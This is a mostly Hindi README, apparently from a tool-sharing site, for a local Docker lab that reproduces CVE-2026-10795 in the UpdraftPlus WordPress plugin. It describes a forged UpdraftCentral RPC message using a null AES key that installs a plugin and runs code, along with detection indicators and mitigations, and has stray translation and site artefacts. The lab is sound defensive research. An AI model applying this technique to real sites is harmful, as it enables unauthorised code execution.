│   └── poc.py
├── requirements.txt
├── README.md
└── .gitignore

The two WordPress services run separate databases and separate UpdraftPlus versions:

दोनों WordPress सेवाएँ अलग-अलग डेटाबेस और अलग-अलग UpdraftPlus संस्करण चलाती हैं:

Default exposed services:

डिफ़ॉल्ट रूप से एक्सपोज़ की गई सेवाएँ:```text Vulnerable target: http://127.0.0.1:8081 Patched target: http://127.0.0.1:8082

root@kitploit:~
सेटअप प्रक्रिया दोनों सेवाओं में समान UpdraftCentral कुंजी स्थिति को सीड करती है:```text
key_name: 0.central.updraftplus.com
extra_info.user_id: 1

यह दोनों लक्ष्यों को समान पूर्वापेक्षा स्थिति देता है। व्यवहार में अंतर कमजोर बनाम पैच किए गए UpdraftPlus कोड से आता है, न कि अलग प्रयोगशाला सेटअप से।

आवश्यकताएँ

  • Docker Desktop या Docker Engine
  • Docker Compose v2
  • Python 3
  • Python वर्चुअल वातावरण समर्थन
  • Docker इमेज निर्माण के दौरान इंटरनेट एक्सेस
  • requirements.txt में सूचीबद्ध Python पैकेज

Python निर्भरताएँ:```text requests urllib3<2 pycryptodome

root@kitploit:~
`urllib3<2` बाधा कुछ macOS Python बिल्डों पर LibreSSL-संबंधित चेतावनियों से बचाती है।

## त्वरित आरंभ

एक स्वच्छ प्रयोगशाला स्थिति से शुरू करें:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

सेटअप लॉग देखें:```bash docker compose logs -f vuln_setup patched_setup

root@kitploit:~
अपेक्षित सेटअप संकेतक:```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln

Please provide the Markdown content to translate.```text Seeded UpdraftCentral key: 0.central.updraftplus.com Plugin updraftplus details: Status: Active Version: 1.26.5 Setup complete for CVE-2026-10795 patched

root@kitploit:~
चल रही सेवाओं की जाँच करें:```bash
docker compose ps

Python वर्चुअल वातावरण बनाएँ और सक्रिय करें:```bash python3 -m venv venv source venv/bin/activate pip install -r requirements.txt

root@kitploit:~
कमजोर लक्ष्य के विरुद्ध डिफ़ॉल्ट आईडी प्रूफ़ चलाएँ:```bash
python3 poc/poc.py --url http://127.0.0.1:8081

पैच किए गए लक्ष्य के विरुद्ध वही प्रमाण चलाएँ:```bash python3 poc/poc.py --url http://127.0.0.1:8082

root@kitploit:~
स्क्रिप्ट को जानबूझकर `--url` विकल्प की आवश्यकता होती है। यह परीक्षक को स्वचालित रूप से दोनों सेवाओं पर हमला करने के बजाय लक्ष्य को स्पष्ट रूप से चुनने के लिए बाध्य करता है।

## PoC उपयोग

डिफ़ॉल्ट व्यवहार:```bash
python3 poc/poc.py --url <local_target_url>

उदाहरण भेद्य लक्ष्य:```bash python3 poc/poc.py --url http://127.0.0.1:8081

root@kitploit:~
पैच किया गया उदाहरण लक्ष्य:```bash
python3 poc/poc.py --url http://127.0.0.1:8082

वैकल्पिक केवल-ping सत्यापन:```bash python3 poc/poc.py --ping --url http://127.0.0.1:8081 python3 poc/poc.py --ping --url http://127.0.0.1:8082

root@kitploit:~
समर्थित विकल्प:

| विकल्प       | आवश्यक    | उद्देश्य                                                 |
| ----------- | -------- | ------------------------------------------------------- |
| `--url`     | हाँ       | स्थानीय लैब लक्ष्य URL                                    |
| `--ping`    | नहीं      | आईडी प्रमाण के बजाय हानिरहित नकली पिंग सत्यापन चलाएँ     |
| `--timeout` | नहीं      | सेकंड में HTTP टाइमआउट। डिफ़ॉल्ट: `15`                   |

स्वीकृत लक्ष्य होस्ट:```text
127.0.0.1
localhost
::1

The PoC डिफ़ॉल्ट रूप से गैर-लोकल टारगेट्स को अस्वीकार करता है।

PoC कैसे काम करता है

PoC होस्ट मशीन से चलता है और एक्सपोज़्ड Docker सेवाओं को HTTP अनुरोध भेजता है।

डिफ़ॉल्ट PoC क्रिया ID proof है।

उच्च-स्तरीय प्रवाह इस प्रकार है:```text

  1. Receive explicit --url target from the tester
  2. Refuse non-local targets
  3. Build a marker WordPress plugin ZIP in memory
  4. Create a forged UpdraftCentral RPC message
  5. Send command plugin.upload_plugin through format=1
  6. Trigger the vulnerable decrypt/dispatch path on UpdraftPlus 1.26.4
  7. Install and activate the marker plugin
  8. Request /wp-json/cve-lab/v1/id
  9. Print the hard-coded /usr/bin/id output
root@kitploit:~
मार्कर प्लगइन को रिपॉजिटरी में एक स्टैंडअलोन प्लगइन फ़ाइल के रूप में संग्रहीत नहीं किया गया है। यह PoC द्वारा मेमोरी में उत्पन्न किया जाता है।

गढ़ा गया RPC कमांड है:```text
plugin.upload_plugin

RPC डेटा में निम्नलिखित शामिल है:```text filename = cve-2026-10795-id-marker.zip data = base64(plugin_zip) activate = true

root@kitploit:~
PoC आंतरिक JSON RPC संदेश को इसका उपयोग करके एन्क्रिप्ट करता है:```text
AES-CBC
key = 16 null bytes
iv  = 16 null bytes

इसमें जानबूझकर अमान्य RSA-एन्क्रिप्टेड सममित कुंजी ब्लॉक भी शामिल है।

कमजोर संस्करण पर, RSA डिक्रिप्ट विफलता को अस्वीकार नहीं किया जाता है। संदेश पूर्वानुमानित null-key डिक्रिप्ट पथ में जारी रहता है और जाली कमांड निष्पादित हो जाती है।

पैच किए गए संस्करण पर, अमान्य सममित कुंजी को अस्वीकार कर दिया जाता है और जाली कमांड निष्पादित नहीं होती है।

--ping क्यों मौजूद है

--ping विकल्प एक डिबगिंग सहायता है।

यह केवल क्रिप्टो बायपास और RPC डिस्पैच सीमा को मान्य करता है। यह कोई प्लगइन अपलोड नहीं करता और /usr/bin/id नहीं चलाता।

--ping का उपयोग तब करें जब डिफ़ॉल्ट ID प्रमाण काम नहीं करता और विफलता को अलग करने की आवश्यकता हो।

यदि --ping विफल हो जाता है, तो समस्या संभवतः कमांड निष्पादन से पहले है:```text wrong key state wrong key_name message format issue encryption mismatch listener not active patched behavior

root@kitploit:~
यदि `--ping` सफल हो जाता है लेकिन ID प्रमाण विफल हो जाता है, तो समस्या संभवतः dispatch के बाद है:```text
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue

अपेक्षित ping व्यवहार:```text 1.26.4 vulnerable target → PING DISPATCHED 1.26.5 patched target → PING NOT DISPATCHED

root@kitploit:~
## अपेक्षित परिणाम

### असुरक्षित लक्ष्य

कमांड:```bash
python3 poc/poc.py --url http://127.0.0.1:8081

अपेक्षित कमजोर सिग्नल:```text CVE-2026-10795 local lab-only ID validation Scope : localhost / Docker lab only Technique : forged format=1 plugin.upload_plugin with hard-coded id marker plugin Safety : no generic web shell, no cmd parameter, no external targets Key name : 0.central.updraftplus.com Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php

Target : http://127.0.0.1:8081/ Command : plugin.upload_plugin Decision : RPC DISPATCHED HTTP status : 200 Body bytes : non-zero RPC JSON seen : True Resp. format : 2

ID endpoint : http://127.0.0.1:8081/wp-json/cve-lab/v1/id Marker active : True HTTP status : 200 id output : uid=33(www-data) gid=33(www-data) groups=33(www-data)

Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).

root@kitploit:~
### पैच किया गया लक्ष्य

कमांड:```bash
python3 poc/poc.py --url http://127.0.0.1:8082

अपेक्षित पैच्ड सिग्नल:```text CVE-2026-10795 local lab-only ID validation Scope : localhost / Docker lab only Technique : forged format=1 plugin.upload_plugin with hard-coded id marker plugin Safety : no generic web shell, no cmd parameter, no external targets Key name : 0.central.updraftplus.com Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php

Target : http://127.0.0.1:8082/ Command : plugin.upload_plugin Decision : RPC NOT DISPATCHED HTTP status : 200 Body bytes : 0 RPC JSON seen : False Body prefix : ''

ID endpoint : http://127.0.0.1:8082/wp-json/cve-lab/v1/id Marker active : False HTTP status : 404 Body prefix : '{"code":"rest_no_route","message":"No route was found matching the URL and request method.","data":{"status":404}}'

Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).

root@kitploit:~
## मैन्युअल सत्यापन कमांड

सेवा स्वास्थ्य जांचें:```bash
docker compose ps

असुरक्षित सेवा मेटाडेटा का निरीक्षण करें:```bash curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool

root@kitploit:~
पैच किए गए सेवा मेटाडेटा का निरीक्षण करें:```bash
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool

रनटाइम प्लगइन स्थिति जांचें:```bash curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool

root@kitploit:~
केवल ping सत्यापन चलाएँ:```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082

रन आईडी प्रमाण:```bash python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082

root@kitploit:~
PoC चलाने के तुरंत बाद मार्कर एंडपॉइंट की जाँच करें:```bash
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool

This chunk contains no translatable content.```text 8081 → marker endpoint exists and returns id output 8082 → marker endpoint returns 404 rest_no_route

root@kitploit:~
असुरक्षित कंटेनर के अंदर स्थापित प्लगइन की जाँच करें:```bash
docker compose exec -T vuln sh -lc \
  'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'

पैच किए गए कंटेनर के अंदर स्थापित प्लगइन्स की जाँच करें:```bash docker compose exec -T patched sh -lc
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'

root@kitploit:~
PoC के चलने के बाद भेद्य सेवा में मार्कर प्लगइन मौजूद होना चाहिए। पैच की गई सेवा में नहीं होना चाहिए।

## प्रभाव

यह लैब दर्शाता है कि एक अनधिकृत हमलावर UpdraftCentral RPC संदेश को गढ़ सकता है, जो उपयुक्त UpdraftCentral कुंजी स्थिति मौजूद होने पर UpdraftPlus 1.26.4 में विशेषाधिकार प्राप्त कमांड डिस्पैच तक पहुँचता है।

प्रदर्शित प्रभाव RCE-शैली का है क्योंकि गढ़ा गया RPC कमांड वैध प्लगइन प्रबंधन कार्यक्षमता का दुरुपयोग करता है:```text
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context

स्थानीय प्रमाण वेब सर्वर उपयोगकर्ता के रूप में निष्पादन दिखाता है:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)

root@kitploit:~
भेद्यता श्रेणी प्रमाणीकरण बाईपास ही बनी हुई है। कोड निष्पादन परिणाम विशेषाधिकार प्राप्त WordPress प्लगइन स्थापना के माध्यम से एक श्रृंखलाबद्ध प्रभाव है।

## पहचान और निगरानी

संभावित संकेतकों में WordPress मुख्य पृष्ठ पर भेजे गए अनप्रमाणित POST अनुरोध शामिल हैं जिनमें UpdraftCentral RPC फ़ील्ड होते हैं:```text
format
key_name
udrpc_message
signature

संदिग्ध विशेषताएँ:```text format=1 key_name ending with .central.updraftplus.com large udrpc_message value unexpected unauthenticated POST requests to / repeated RPC attempts with empty or unusual response bodies new unexpected plugin directories under wp-content/plugins new plugin activation events REST routes appearing unexpectedly after a suspicious request

root@kitploit:~
स्थानीय प्रयोगशाला संकेतक:```text
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)

प्रोडक्शन निगरानी के सुझाव:

  • udrpc_message युक्त POST अनुरोधों के लिए वेब एक्सेस लॉग की समीक्षा करें।
  • अविश्वसनीय स्रोतों से format=1 RPC अनुरोधों पर अलर्ट करें।
  • उपलब्ध होने पर UpdraftPlus और UpdraftCentral लॉग की समीक्षा करें।
  • अप्रत्याशित प्लगइन स्थापना या सक्रियण घटनाओं की निगरानी करें।
  • wp-content/plugins के अंतर्गत फाइलसिस्टम परिवर्तनों की निगरानी करें।
  • व्यवस्थापक उपयोगकर्ताओं और दूरस्थ प्रबंधन एकीकरणों की समीक्षा करें।
  • जाँचें कि क्या UpdraftPlus पैच किए गए संस्करण से पुराना है।
  • पुरानी या अप्रयुक्त UpdraftCentral दूरस्थ-नियंत्रण कुंजियाँ हटाएँ।

शमन और पैच नोट्स

UpdraftPlus को संस्करण 1.26.5 या उसके बाद के संस्करण में अपग्रेड करें।

पैच किया गया संस्करण सममित डिक्रिप्शन और कमांड डिस्पैच से पहले अमान्य डिक्रिप्ट की गई सममित कुंजियों को अस्वीकार करता है।

अनुशंसित शमन चरण:

  • UpdraftPlus को अपग्रेड करें।
  • जाँच करें कि क्या UpdraftCentral दूरस्थ नियंत्रण सक्षम है या कॉन्फ़िगर किया गया है।
  • यदि दूरस्थ नियंत्रण आवश्यक नहीं है तो पुरानी UpdraftCentral कुंजियाँ हटाएँ।
  • WordPress व्यवस्थापक खातों की समीक्षा करें।
  • अप्रत्याशित जोड़ के लिए स्थापित प्लगइन्स की समीक्षा करें।
  • संदिग्ध udrpc_message अनुरोधों के लिए एक्सेस लॉग की समीक्षा करें।
  • यदि समझौते (compromise) का संदेह हो तो क्रेडेंशियल रोटेट करें।
  • यदि अनधिकृत प्लगइन स्थापना की पुष्टि होती है तो ज्ञात-अच्छे (known-good) बैकअप से पुनर्स्थापित करें।
  • WAF नियम का उपयोग केवल अस्थायी परत के रूप में करें, पैचिंग के प्रतिस्थापन के रूप में नहीं।

सबसे महत्वपूर्ण सुधार एक पैच किए गए UpdraftPlus संस्करण को चलाना है जो डिक्रिप्शन और डिस्पैच से पहले अमान्य सममित कुंजियों को अस्वीकार करता है।

सफाई

कंटेनर रोकें और नेटवर्क हटाएँ:```bash docker compose down --remove-orphans

root@kitploit:~
कंटेनर, नेटवर्क और वॉल्यूम हटाएँ:```bash
docker compose down -v --remove-orphans

Python वर्चुअल वातावरण हटाएं:```bash rm -rf venv

root@kitploit:~
यदि बनाई गई हों तो स्थानीय साक्ष्य फ़ाइलें हटाएँ:```bash
rm -rf evidence/

Safety Boundaries

यह लैब केवल स्थानीय सुरक्षा अनुसंधान और नियंत्रित प्रदर्शन के लिए है।

PoC को उन सिस्टमों पर न चलाएँ जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति नहीं है।

इस लैब में वास्तविक क्रेडेंशियल, प्रोडक्शन रहस्य, या बाहरी लक्ष्यों का उपयोग न करें।

PoC जानबूझकर स्थानीय Docker सेवाओं तक सीमित है जैसे:```text http://127.0.0.1:8081 http://127.0.0.1:8082 http://localhost:8081 http://localhost:8082

root@kitploit:~
The PoC डिफ़ॉल्ट रूप से गैर-स्थानीय लक्ष्यों को अस्वीकार कर देता है।

मार्कर प्लगइन एक सामान्य कमांड निष्पादन पैरामीटर लागू नहीं करता है। यह केवल एक हार्ड-कोडेड स्थानीय प्रमाण एंडपॉइंट को उजागर करता है जो `/usr/bin/id` चलाता है।

इस लैब में शामिल नहीं है:```text
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow

लक्ष्य एक नियंत्रित वातावरण में एक विशिष्ट तकनीकी स्थिति का प्रदर्शन करना है:```text unauthenticated forged RPC

  • vulnerable format=1 validation behavior
  • failed RSA decrypt not rejected
  • predictable symmetric decrypt path
  • privileged UpdraftCentral command dispatch
  • plugin upload and activation
  • patched version blocks before dispatch
root@kitploit:~
## संदर्भ

* NVD: CVE-2026-10795
  https://nvd.nist.gov/vuln/detail/CVE-2026-10795

* Wordfence भेद्यता डेटाबेस: UpdraftPlus
  https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus

* Patchstack डेटाबेस: UpdraftPlus
  https://patchstack.com/database/

* WordPress.org प्लगिन: UpdraftPlus
  https://wordpress.org/plugins/updraftplus/

* WordPress.org प्लगिन SVN
  https://plugins.svn.wordpress.org/updraftplus/

* WordPress.org प्लगिन SVN टैग
  https://plugins.svn.wordpress.org/updraftplus/tags/

* TeamUpdraft: UpdraftCentral
  https://updraftplus.com/updraftcentral/

* OWASP: प्रमाणीकरण चीट शीट
  https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html

* OWASP: वेब सुरक्षा परीक्षण गाइड
  https://owasp.org/www-project-web-security-testing-guide/
टूल डाउनलोड करें
PoC व्यवहारपरीक्षणाधीन स्रोत व्यवहार1.26.4 पर अपेक्षित1.26.5 पर अपेक्षित
format=1 के साथ POST भेजेंलिसनर लेगेसी RPC प्रारूप स्वीकार करता हैजारी रहता हैपैच किए गए डिक्रिप्ट जाँच तक जारी रहता है
मान्य हस्ताक्षर छोड़ेंहस्ताक्षर जाँच केवल format >= 2 पर लागू होती हैहस्ताक्षर आवश्यक नहींformat=1 के लिए हस्ताक्षर आवश्यक नहीं, परंतु बाद में अवरुद्ध हो जाता है
अमान्य RSA ब्लॉक भेजेंRSA डिक्रिप्ट अमान्य सममित कुंजी लौटाता हैअमान्य कुंजी setKey() तक पहुँचती हैअमान्य कुंजी अस्वीकृत
null कुंजी/null IV के साथ JSON एन्क्रिप्ट करेंsetKey(false) के बाद phpseclib फ़ॉलबैक व्यवहार का अनुकरण करता हैमान्य JSON में डिक्रिप्ट हो जाता हैडिक्रिप्ट नहीं होता
command=ping सेट करेंकेवल क्रिप्टो बायपास और डिस्पैच का परीक्षण करता हैPING DISPATCHEDPING NOT DISPATCHED
command=plugin.upload_plugin सेट करेंUpdraftCentral प्लगइन अपलोड विधि को कॉल करता हैप्लगइन ZIP स्थापित हो जाता हैकमांड तक नहीं पहुँचा जाता
activate=true सेट करेंस्थापना के बाद activate_plugin() को ट्रिगर करता हैमार्कर प्लगइन सक्रियमार्कर प्लगइन अनुपस्थित
/wp-json/cve-lab/v1/id का अनुरोध करेंजाँचता है कि मार्कर प्लगइन कोड चल रहा है या नहींuid=33(www-data) लौटाता है404 rest_no_route लौटाता है
ServiceComponentVersion / Role
vulnWordPress + UpdraftPlusUpdraftPlus 1.26.4 संवेदनशील लक्ष्य
patchedWordPress + UpdraftPlusUpdraftPlus 1.26.5 पैच किया गया लक्ष्य
vuln_dbMariaDBसंवेदनशील लक्ष्य के लिए डेटाबेस
patched_dbMariaDBपैच किए गए लक्ष्य के लिए डेटाबेस
vuln_setupWP-CLI setup serviceWordPress स्थापित करता है, UpdraftPlus सक्रिय करता है, स्थानीय कुंजी स्थिति सीड करता है
patched_setupWP-CLI setup serviceWordPress स्थापित करता है, UpdraftPlus सक्रिय करता है, स्थानीय कुंजी स्थिति सीड करता है